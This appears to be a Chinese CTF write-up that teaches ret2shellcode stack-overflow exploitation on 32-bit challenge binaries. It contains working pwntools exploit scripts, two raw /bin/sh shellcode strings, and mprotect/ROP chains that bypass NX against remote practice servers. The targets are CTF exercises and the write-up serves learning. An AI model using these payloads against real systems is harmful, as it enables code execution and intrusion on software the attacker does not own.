ret2shellcode

shellcode的含义:

在栈溢出的攻击技术中通常是要控制函数的返回地址到自己想要的地方执行自己想要执行的代码。ret2shellcode代表返回到shellcode中即控制函数的返回地址到预先设定好的shellcode区域中去执行shellcode代码,这是非常危险的。

这里学习一下shellcode的利用方式,用ret2shellcode作为例题
先用checksec查看一下保护,可以看到,没有开启任何保护机制,且是一个32位的程序
在这里插入图片描述
使用IDA分析程序,只发现了主函数,并没有发现后门函数
在这里插入图片描述
gets并没有对其输入长度做限制,因此存在溢出,且将输入的值复制到了buf2的内存空间里,发现buf2是一块为64h字节大小的.bss段内的空间
在这里插入图片描述

在主函数下断点,执行后,用vmmap命令查看一下该段空间是否存在可执行的权限,发现.bss段具有可执行的权限
在这里插入图片描述
于是可以将shellcode写入到这块可执行的内存空间.bss段当中,然后通过不断填充字符,溢出到ebp,然后向栈里填充这段内存空间的地址,即可使得程序执行构造好的shellcod
通过不断填充字符观察eip的指向来计算偏移
在这里插入图片描述
在这里插入图片描述

写出exp:

#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

shellcraft.sh()是自带的一段codeshell,可以自己写,也可以去这里找,然后通过ljust方法左对齐填充字节,直到溢出到返回地址,buf2_addr即是可执行shellcode的地址
这里再给两个可以使用的shellcode:

shellcode = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\x52\x55\x89\xe5\x0f\x34\x31\xc0\x31\xdb\xfe\xc0\x51\x52\x55\x89\xe5\x0f\x34"
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

但是当程序开启了NX保护,那如何使用ret2shellcode来获得权限呢
再了解一下NX(DEP)保护机制
NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
那开启了NX是不是就意味着无法通过栈溢出执行shellcode了呢,来看一道题not_the_same_3dsctf_2016,这道题可以构造rop链来读取到flag,也可以尝试使用ret2shellcode的方式来Get shell
checksec该程序,这里开启了NX保护,堆栈不可执行
在这里插入图片描述
但是在程序中我们可以发现mprotect函数,由于是静态链接,可以使用 mprotect来改变 bss 段的权限,然后执行 shellcode,可以参考这篇文章
由于需要利用ret指令控制程序,所以这里需要借助用来设置三个参数的三个寄存器命令,p3_ret=0x806fcc8
ROPgadget --binary not_the_same_3dsctf_2016 --only "pop|ret"|grep pop
在这里插入图片描述
给两个通过mprotect来修改 bss 段的权限执行 shellcode的exp

 from pwn import *
#p=process('./not_the_same_3dsctf_2016')
elf=ELF('./not_the_same_3dsctf_2016')
p=remote('node3.buuoj.cn',26174)
mprotect_addr=elf.symbols["mprotect"]
read_plt=elf.symbols["read"]
pop_3_ret=0x0809e3e5
pop_ret=0x08048b0b
m_start=0x080ec000
bss= 0x80ECA2D
len=0x2000
prot=7
payload_1="a"*45+p32(mprotect_addr)+p32(pop_3_ret)+p32(m_start)+p32(len)+p32(prot)
payload_1+=p32(read_plt)+p32(bss+0x400)+p32(0)+p32(bss+0x400)+p32(0x100)
p.sendline(payload_1)
payload_2=asm(shellcraft.sh(),arch = 'i386', os = 'linux')
p.sendline(payload_2)
p.interactive()
from pwn import *
context(arch='i386',os='linux')

r=remote('node3.buuoj.cn',25775)
elf=ELF('./get_started_3dsctf_2016')
mprotect_addr=elf.symbols['mprotect']
read_addr=elf.symbols['read']
main_addr=elf.symbols['main']
ppp3_addr=0x080483b8

mpr_start=0x80eb000
mpr_len=0x1000
mpr_prot=7  #rxw=7

shellcode=asm(shellcraft.sh())

payload='a'*0x38
payload+=p32(mprotect_addr)+p32(ppp3_addr)+p32(mpr_start)+p32(mpr_len)+p32(mpr_prot)
payload+=p32(read_addr)+p32(ppp3_addr)+p32(0x0)+p32(mpr_start)+p32(len(shellcode))
payload+=p32(mpr_start)
r.sendline(payload)

r.sendline(shellcode)

r.interactive()

再给两个构造rop的exp

from pwn import *
context(log_level='debug')

p=remote('node3.buuoj.cn',26368)
#p=process('./not_the_same_3dsctf_2016')
#gdb.attach(p)
e=ELF("./not_the_same_3dsctf_2016")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
#ru("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ")
pop3_ret=0x0804f420
buf=0x080ECA00
pd='a'*0x2D+p32(e.symbols['read'])+p32(pop3_ret)+p32(0)+p32(buf)+p32(0x10)
pd+=p32(e.symbols['open'])+p32(pop3_ret)+p32(buf)+p32(0)+p32(0)
pd+=p32(e.symbols['read'])+p32(pop3_ret)+p32(3)+p32(buf)+p32(0x30)
pd+=p32(e.symbols['write'])+p32(pop3_ret)+p32(1)+p32(buf)+p32(0x30)
sl(pd)
sl("./flag.txt\x00")
sleep(1)
p.interactive()
#!/usr/bin/env python
from pwn import *

sh = remote('node3.buuoj.cn',27541)

#binsh_addr = 0x804A024
secret = 0x080489A0
write = 0x0806E270
flag  = 0x080ECA2D
main = 0x080489E0
payload = 'a'*0x2d+p32(secret)+p32(write)+p32(4)+p32(1)+p32(flag)+p32(50)
sh.sendline(payload)

sh.interactive()

这里可以通过ctfwiki中的ret2syscall来加深对pop_ret或pop3_ret的理解,主要是因为32位是通过栈来传递参数

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值